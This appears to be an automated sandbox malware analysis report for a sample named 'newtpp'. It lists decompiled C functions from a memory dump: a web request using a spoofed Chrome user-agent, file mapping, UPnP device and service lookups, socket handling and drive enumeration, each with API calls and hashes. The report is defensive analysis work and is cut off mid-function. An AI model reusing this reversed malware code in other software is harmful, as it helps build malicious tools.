Instruction Fuzzy Hash: 062142B494022CEBDB20CB64DC85BE97774AB04708F1086E9E709B72C0D7B95AC68F5C

Uniqueness

Uniqueness Score: -1.00%

Function 0040D440 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
networksleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D440(char* _a4, intOrPtr* _a8) {
				void* _v8;
				char _v9;
				void* _v16;
				void _v20;
				long _v24;

				_v9 = 0;
				_v16 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 1, 0, 0, 0);
				if(_v16 != 0) {
					_v8 = InternetOpenUrlA(_v16, _a4, 0, 0, 0, 0);
					if(_v8 != 0) {
						_v24 = 4;
						HttpQueryInfoA(_v8, 0x20000005,  &_v20,  &_v24, 0);
						if(_v20 > 0x1388 && _v20 !=  *_a8) {
							 *_a8 = _v20;
							_v9 = 1;
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v16);
				}
				Sleep(0x3e8);
				return _v9;
			}

0x0040d446
0x0040d45d
0x0040d464
0x0040d47c
0x0040d483
0x0040d485
0x0040d49f
0x0040d4ac
0x0040d4be
0x0040d4c0
0x0040d4c0
0x0040d4c8
0x0040d4c8
0x0040d4d2
0x0040d4d2
0x0040d4dd
0x0040d4e9

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040D457
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D476
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040D49F
InternetCloseHandle.WININET(00000000), ref: 0040D4C8
InternetCloseHandle.WININET(00000000), ref: 0040D4D2
Sleep.KERNEL32(000003E8), ref: 0040D4DD

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D452

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
API String ID: 2743515581-858318475
Opcode ID: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction ID: 741b2aa36f5f9633f3a5325d1023e1587c91f2e0dd76465297faea143a49f62d
Opcode Fuzzy Hash: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction Fuzzy Hash: 9821F974E40208FBDB10DF94CC49FEEB775AB48705F1085A5FA15AB2C0C7B96A44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004045F0 Relevance: 12.1, APIs: 8, Instructions: 97
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004045F0() {
				void* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				void* _v24;
				intOrPtr _v28;
				void* _t35;
				intOrPtr _t45;
				void* _t66;
				void* _t67;

				InitializeCriticalSection(0x416398);
				_t35 = CreateFileW(0x4165c8, 0x80000000, 0, 0, 3, 0, 0);
				_v8 = _t35;
				if(_v8 != 0xffffffff) {
					_v12 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v12 == 0) {
						L14:
						return CloseHandle(_v8);
					}
					_v16 = MapViewOfFile(_v12, 4, 0, 0, 0);
					if(_v16 == 0) {
						L13:
						CloseHandle(_v12);
						goto L14;
					}
					_v20 = GetFileSize(_v8, 0);
					_v24 = _v16;
					while(_v20 != 0) {
						if(_v20 >= 0x100) {
							_t45 = E0040B210(_v24, _v24);
							_t67 = _t66 + 4;
							_v28 = _t45;
							if(_v28 != 0) {
								_v20 = _v20 - 0x100;
								if(_v20 >=  *((intOrPtr*)(_v28 + 0xc))) {
									E004044E0(_v24, _v28, _v24,  *((intOrPtr*)(_v28 + 0xc)) + 0x100, 0);
									_t66 = _t67 + 0x10;
									_v20 = _v20 -  *((intOrPtr*)(_v28 + 0xc));
									continue;
								}
								E00408C70(_v28);
								break;
							}
							break;
						}
						break;
					}
					UnmapViewOfFile(_v16);
					goto L13;
				}
				return _t35;
			}

0x004045fb
0x00404615
0x0040461b
0x00404622
0x0040463c
0x00404643
0x0040470b
0x00000000
0x0040470f
0x0040465b
0x00404662
0x00404701
0x00404705
0x00000000
0x00404705
0x00404674
0x0040467a
0x0040467d
0x0040468a
0x00404692
0x00404697
0x0040469a
0x004046a1
0x004046ae
0x004046ba
0x004046e1
0x004046e6
0x004046f2
0x00000000
0x004046f2
0x004046c0
0x00000000
0x004046c5
0x00000000
0x004046a3
0x00000000
0x0040468c
0x004046fb
0x00000000
0x004046fb
0x00404718

APIs

InitializeCriticalSection.KERNEL32(00416398,?,?,?,?,?,00406523), ref: 004045FB
CreateFileW.KERNEL32(004165C8,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00406523), ref: 00404615
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00404636
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00404655
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040466E
UnmapViewOfFile.KERNEL32(00000000), ref: 004046FB
CloseHandle.KERNEL32(00000000), ref: 00404705
CloseHandle.KERNEL32(000000FF), ref: 0040470F

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID:
API String ID: 3956458805-0
Opcode ID: ed756388b1b0d6878a7a18186645e736ddd6a16e139f12393ac249dc04bab315
Instruction ID: fde0418914d6c461a92172338520ab8504d9313cab43c149491a54f3197792e7
Opcode Fuzzy Hash: ed756388b1b0d6878a7a18186645e736ddd6a16e139f12393ac249dc04bab315
Instruction Fuzzy Hash: 063145B4D40209FFDB14DBE4CC49FAEB774AB89704F208969E601772C0D7B96541CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C8E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C8E0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"device") == 0) {
									_t65 = E0040C200(_v20, L"deviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

0x0040c8e6
0x0040c8ed
0x0040c8f7
0x0040c900
0x0040c908
0x0040c918
0x0040c92a
0x0040c936
0x0040c940
0x0040c944
0x0040c94d
0x0040c955
0x0040ca33
0x0040c927
0x00000000
0x0040c965
0x0040c965
0x0040c96f
0x0040c978
0x0040c983
0x0040c9a4
0x0040c9af
0x0040c9b4
0x0040c9b7
0x0040c9be
0x0040c9c0
0x0040c9ca
0x0040c9d3
0x0040c9db
0x0040c9f3
0x0040c9f8
0x0040c9f8
0x0040c9ff
0x0040c9ff
0x0040ca11
0x0040ca11
0x0040c9be
0x0040ca17
0x0040ca17
0x0040ca21
0x0040ca31
0x00000000
0x00000000
0x0040ca23
0x0040ca21
0x00000000
0x0040c955
0x0040c92a
0x0040ca38
0x0040ca3e

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

deviceType, xrefs: 0040C9A6
device, xrefs: 0040C993

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction ID: 91ab58cec92addcf45ea7f885c8d98816f20cb839f54337aae792cd6c89d1592
Opcode Fuzzy Hash: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction Fuzzy Hash: D941E975A0020ADFCB04DF98D894BAFB7B5BF48304F108269E515A7390D778AA85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040C700 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C700(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"service") == 0) {
									_t65 = E0040C200(_v20, L"serviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

0x0040c706
0x0040c70d
0x0040c717
0x0040c720
0x0040c728
0x0040c738
0x0040c74a
0x0040c756
0x0040c760
0x0040c764
0x0040c76d
0x0040c775
0x0040c853
0x0040c747
0x00000000
0x0040c785
0x0040c785
0x0040c78f
0x0040c798
0x0040c7a3
0x0040c7c4
0x0040c7cf
0x0040c7d4
0x0040c7d7
0x0040c7de
0x0040c7e0
0x0040c7ea
0x0040c7f3
0x0040c7fb
0x0040c813
0x0040c818
0x0040c818
0x0040c81f
0x0040c81f
0x0040c831
0x0040c831
0x0040c7de
0x0040c837
0x0040c837
0x0040c841
0x0040c851
0x00000000
0x00000000
0x0040c843
0x0040c841
0x00000000
0x0040c775
0x0040c74a
0x0040c858
0x0040c85e

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

serviceType, xrefs: 0040C7C6
service, xrefs: 0040C7B3

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction ID: 7b8bcaea6bed01b8a99884d554dfbf2528ef8f0724b329980c1be25b89f5103a
Opcode Fuzzy Hash: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction Fuzzy Hash: 3641FF75A0020ADFCB04EF98C884BAFB7B5BF48305F108269E515A7390D7789E85CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DF90 Relevance: 10.6, APIs: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040DF90(intOrPtr __eax, void* _a4) {
				void* __esi;
				intOrPtr _t20;
				long _t28;
				long _t37;
				intOrPtr _t45;
				struct _CRITICAL_SECTION* _t48;
				long _t49;
				void* _t53;
				void* _t54;
				void* _t55;

				_t53 = _a4;
				_t45 = __eax;
				if(_t53 != 0xffffffff) {
					_t48 = __eax + 0x20;
					_t37 = 0;
					EnterCriticalSection(_t48);
					_t20 =  *((intOrPtr*)(_t45 + 0x38));
					if(_t20 != 0) {
						while( *((intOrPtr*)(_t20 + 0x260)) != _t53) {
							_t20 =  *((intOrPtr*)(_t20 + 0x280));
							if(_t20 != 0) {
								continue;
							} else {
							}
							goto L7;
						}
						_t37 = 1;
					}
					L7:
					LeaveCriticalSection(_t48);
					if(_t37 == 0) {
						_t49 = E00408B00(0x284);
						_t55 = _t54 + 4;
						if(_t49 == 0) {
							L13:
							E00409600(_t53);
							return _t49;
						} else {
							_t7 = _t49 + 0x264; // 0x264
							 *_t49 = 0x69636c69;
							 *(_t49 + 0x260) = _t53;
							_a4 = 0x10;
							__imp__#5(_t53, _t7,  &_a4);
							if(CreateIoCompletionPort( *(_t49 + 0x260),  *(_t45 + 8), _t49, 0) !=  *(_t45 + 8)) {
								E00408C70(_t49);
								_t55 = _t55 + 4;
								_t49 = 0;
								goto L13;
							} else {
								_t28 = E0040BE60();
								_t13 = _t49 + 4; // 0x4
								InterlockedExchange(_t13, _t28);
								_t14 = _t49 + 0x244; // 0x244
								_t15 = _t49 + 8; // 0x8
								 *((intOrPtr*)(_t49 + 0x27c)) = _t45;
								 *((intOrPtr*)(_t49 + 0x224)) = 0x200;
								 *((intOrPtr*)(_t49 + 0x228)) = _t15;
								InitializeCriticalSection(_t14);
								InterlockedIncrement(_t45 + 0x3c);
								E0040DEB0(_t49);
								return _t49;
							}
						}
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x0040df91
0x0040df96
0x0040df9b
0x0040dfa4
0x0040dfa8
0x0040dfaa
0x0040dfb0
0x0040dfb5
0x0040dfb7
0x0040dfbf
0x0040dfc7
0x00000000
0x00000000
0x0040dfc9
0x00000000
0x0040dfc7
0x0040dfcb
0x0040dfcb
0x0040dfcd
0x0040dfce
0x0040dfd6
0x0040dfe9
0x0040dfeb
0x0040dff0
0x0040e08d
0x0040e08e
0x0040e09c
0x0040dff6
0x0040dffb
0x0040e003
0x0040e009
0x0040e00f
0x0040e017
0x0040e034
0x0040e083
0x0040e088
0x0040e08b
0x00000000
0x0040e036
0x0040e036
0x0040e03c
0x0040e040
0x0040e046
0x0040e04c
0x0040e050
0x0040e056
0x0040e060
0x0040e066
0x0040e070
0x0040e076
0x0040e081
0x0040e081
0x0040e034
0x0040dfd8
0x0040dfde
0x0040dfde
0x0040df9e
0x0040dfa1
0x0040dfa1

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,0040E49B,00000000), ref: 0040DFAA
LeaveCriticalSection.KERNEL32(?,?,?,0040E49B,00000000), ref: 0040DFCE

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 4bbc681d7c9b78df020861981114938a0f21831a1cbc421abd2649154505d8b2
Instruction ID: 788f702b9492d2748fa33cb2f0bef3e81c848d8eff2aac60f157a8f848454262
Opcode Fuzzy Hash: 4bbc681d7c9b78df020861981114938a0f21831a1cbc421abd2649154505d8b2
Instruction Fuzzy Hash: EC31D472601615ABC710AFB5EC88BD7B7E8FF44724F00893EF54AD3281DB39A4448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C741 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C741() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"service") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"serviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

0x0040c741
0x0040c741
0x0040c741
0x0040c747
0x0040c750
0x00000000
0x00000000
0x0040c756
0x0040c756
0x0040c760
0x0040c764
0x0040c76d
0x0040c775
0x0040c853
0x00000000
0x0040c785
0x0040c785
0x0040c785
0x0040c78f
0x0040c798
0x0040c7a3
0x0040c7b3
0x0040c7c4
0x0040c7c6
0x0040c7d7
0x0040c7de
0x0040c7e0
0x0040c7e0
0x0040c7ea
0x0040c7f3
0x0040c7fb
0x0040c803
0x0040c813
0x0040c818
0x0040c818
0x0040c81b
0x0040c81f
0x0040c81f
0x0040c825
0x0040c831
0x0040c831
0x0040c7de
0x0040c833
0x0040c837
0x0040c837
0x0040c83d
0x0040c841
0x0040c845
0x0040c851
0x00000000
0x0040c851
0x0040c841
0x00000000
0x0040c775
0x0040c858
0x0040c85e

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

serviceType, xrefs: 0040C7C6
service, xrefs: 0040C7B3

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction ID: a2ae9d540b18a7237781164838fed95b9af08367ec0547399f69e9a392117d82
Opcode Fuzzy Hash: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction Fuzzy Hash: 5631CA75E0020ADFCB04DF98D884BAFB7B5AF88305F108669E515A7390D7789A85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040C921 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C921() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"device") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"deviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

0x0040c921
0x0040c921
0x0040c921
0x0040c927
0x0040c930
0x00000000
0x00000000
0x0040c936
0x0040c936
0x0040c940
0x0040c944
0x0040c94d
0x0040c955
0x0040ca33
0x00000000
0x0040c965
0x0040c965
0x0040c965
0x0040c96f
0x0040c978
0x0040c983
0x0040c993
0x0040c9a4
0x0040c9a6
0x0040c9b7
0x0040c9be
0x0040c9c0
0x0040c9c0
0x0040c9ca
0x0040c9d3
0x0040c9db
0x0040c9e3
0x0040c9f3
0x0040c9f8
0x0040c9f8
0x0040c9fb
0x0040c9ff
0x0040c9ff
0x0040ca05
0x0040ca11
0x0040ca11
0x0040c9be
0x0040ca13
0x0040ca17
0x0040ca17
0x0040ca1d
0x0040ca21
0x0040ca25
0x0040ca31
0x00000000
0x0040ca31
0x0040ca21
0x00000000
0x0040c955
0x0040ca38
0x0040ca3e

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

deviceType, xrefs: 0040C9A6
device, xrefs: 0040C993

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction ID: 13aee1176452d62b74ac46d26b233db62756319b53bb87b3b8849ed906738a0f
Opcode Fuzzy Hash: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction Fuzzy Hash: 7B31C974E0020ADBCB14CF99D894BAFB7B5AF88304F108269E515B7390D7789A85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00404CB0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404CB0() {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				long _v20;
				signed int _v24;
				void* _v28;
				char _v32;
				int _v36;
				void* _t44;

				_v20 = GetLogicalDrives();
